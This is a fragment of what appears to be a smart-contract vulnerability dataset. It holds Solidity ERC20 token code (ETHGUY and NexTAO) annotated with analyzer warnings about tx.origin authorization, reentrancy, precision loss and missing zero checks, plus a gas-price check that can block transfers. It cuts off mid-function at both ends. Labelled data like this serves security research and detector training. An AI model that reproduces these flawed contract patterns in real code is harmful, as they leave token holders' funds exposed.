ETHGUY._update(address,address,uint256) uses tx.origin for authorization _ETHGUY_Marketting[tx.origin]\n\t// Recommendation for b23e099: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: b23e099\n if (_ETHGUY_Marketting[tx.origin]) {\n super._update(from, to, value);\n return;\n } else {\n require(tradingOpen, \"Trading is not open yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (\n tx.gasprice > _tradingCountdown[from] &&\n _tradingCountdown[from] != 0\n ) {\n revert(\"Exceeds the _tradingCountdown on transfer tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (\n tx.gasprice > _tradingCountdown[from] &&\n _tradingCountdown[from] != 0\n ) {\n revert(\"Exceeds the _tradingCountdown on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n}\n",
"file_name": "solidity_code_10236.sol",
"size_bytes": 15344,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e90a89): NexTAO.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 4e90a89: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 8b23cd2\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 8b23cd2\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 60c5902\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e5f6e97\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a037bdd\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract NexTAO is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address public marketingWallet;\n\n address public devWallet;\n\n address public lpWallet;\n\n uint256 public maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = true;\n\n bool public swapEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event LimitsRemoved();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event marketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event devWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event lpWalletUpdated(address indexed newWallet, address indexed oldWallet);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e90a89): NexTAO.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 4e90a89: Rename the local variables that shadow another component.\n constructor() ERC20(\"NexTAO\", \"XTAO\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 15;\n\n uint256 _buyLiquidityFee = 0;\n\n uint256 _buyDevFee = 10;\n\n uint256 _sellMarketingFee = 15;\n\n uint256 _sellLiquidityFee = 0;\n\n uint256 _sellDevFee = 10;\n\n uint256 totalSupply = 100000000 * 1e18;\n\n maxTransactionAmount = (totalSupply * 2) / 100;\n\n maxWallet = (totalSupply * 2) / 100;\n\n swapTokensAtAmount = (totalSupply * 20) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyLiquidityFee = _buyLiquidityFee;\n\n buyDevFee = _buyDevFee;\n\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellLiquidityFee = _sellLiquidityFee;\n\n sellDevFee = _sellDevFee;\n\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n marketingWallet = address(0x7220CBFfAe1096FA9095cb536867f5A411aA36d9);\n\n devWallet = address(0x7220CBFfAe1096FA9095cb536867f5A411aA36d9);\n\n lpWallet = msg.sender;\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromFees(marketingWallet, true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromMaxTransaction(marketingWallet, true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n emit LimitsRemoved();\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 55c0dba): NexTAO.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 55c0dba: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 55c0dba\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4e99d2d): NexTAO.setMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 4e99d2d: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 4e99d2d\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d6e1c23): NexTAO.setMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for d6e1c23: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: d6e1c23\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f4dbac): Missing events for critical arithmetic parameters.\n\t// Recommendation for 9f4dbac: Emit an event for critical parameter changes.\n function SetBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 9f4dbac\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 9f4dbac\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 9f4dbac\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 9f4dbac\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 83df981): Missing events for critical arithmetic parameters.\n\t// Recommendation for 83df981: Emit an event for critical parameter changes.\n function SetSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 83df981\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 83df981\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 83df981\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 83df981\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e1ac381): NexTAO.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for e1ac381: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: e1ac381\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6d32755): NexTAO.updateLPWallet(address).newLPWallet lacks a zerocheck on \t lpWallet = newLPWallet\n\t// Recommendation for 6d32755: Check that the address is not zero.\n function updateLPWallet(address newLPWallet) external onlyOwner {\n emit lpWalletUpdated(newLPWallet, lpWallet);\n\n\t\t// missing-zero-check | ID: 6d32755\n lpWallet = newLPWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b088841): NexTAO.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for b088841: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\n\t\t// missing-zero-check | ID: b088841\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 60c5902): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 60c5902: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6dda4a3): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 6dda4a3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 15865da): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 15865da: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ccc3b08): NexTAO._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for ccc3b08: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ade74a8): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for ade74a8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a8e3bfe): NexTAO._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for a8e3bfe: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 04681c2): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 04681c2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8b23cd2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8b23cd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 60c5902\n\t\t\t// reentrancy-eth | ID: 8b23cd2\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 8b23cd2\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: ccc3b08\n\t\t\t\t// divide-before-multiply | ID: ade74a8\n\t\t\t\t// divide-before-multiply | ID: 04681c2\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 04681c2\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: ccc3b08\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: ade74a8\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 6dda4a3\n\t\t\t\t// divide-before-multiply | ID: 15865da\n\t\t\t\t// divide-before-multiply | ID: a8e3bfe\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 15865da\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: a8e3bfe\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 6dda4a3\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 60c5902\n\t\t\t\t// reentrancy-eth | ID: 8b23cd2\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 60c5902\n\t\t// reentrancy-eth | ID: 8b23cd2\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 60c5902\n\t\t// reentrancy-events | ID: a037bdd\n\t\t// reentrancy-benign | ID: e5f6e97\n\t\t// reentrancy-no-eth | ID: cd87c83\n\t\t// reentrancy-eth | ID: 8b23cd2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 073be91): NexTAO.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,lpWallet,block.timestamp)\n\t// Recommendation for 073be91: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 60c5902\n\t\t// reentrancy-events | ID: a037bdd\n\t\t// reentrancy-benign | ID: e5f6e97\n\t\t// unused-return | ID: 073be91\n\t\t// reentrancy-eth | ID: 8b23cd2\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n lpWallet,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a037bdd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a037bdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e5f6e97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e5f6e97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: cd87c83): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for cd87c83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: a037bdd\n\t\t// reentrancy-benign | ID: e5f6e97\n\t\t// reentrancy-no-eth | ID: cd87c83\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: cd87c83\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: cd87c83\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: cd87c83\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 60c5902\n\t\t// reentrancy-events | ID: a037bdd\n\t\t// reentrancy-benign | ID: e5f6e97\n\t\t// reentrancy-eth | ID: 8b23cd2\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: a037bdd\n\t\t\t// reentrancy-benign | ID: e5f6e97\n addLiquidity(liquidityTokens, ethForLiquidity);\n\n\t\t\t// 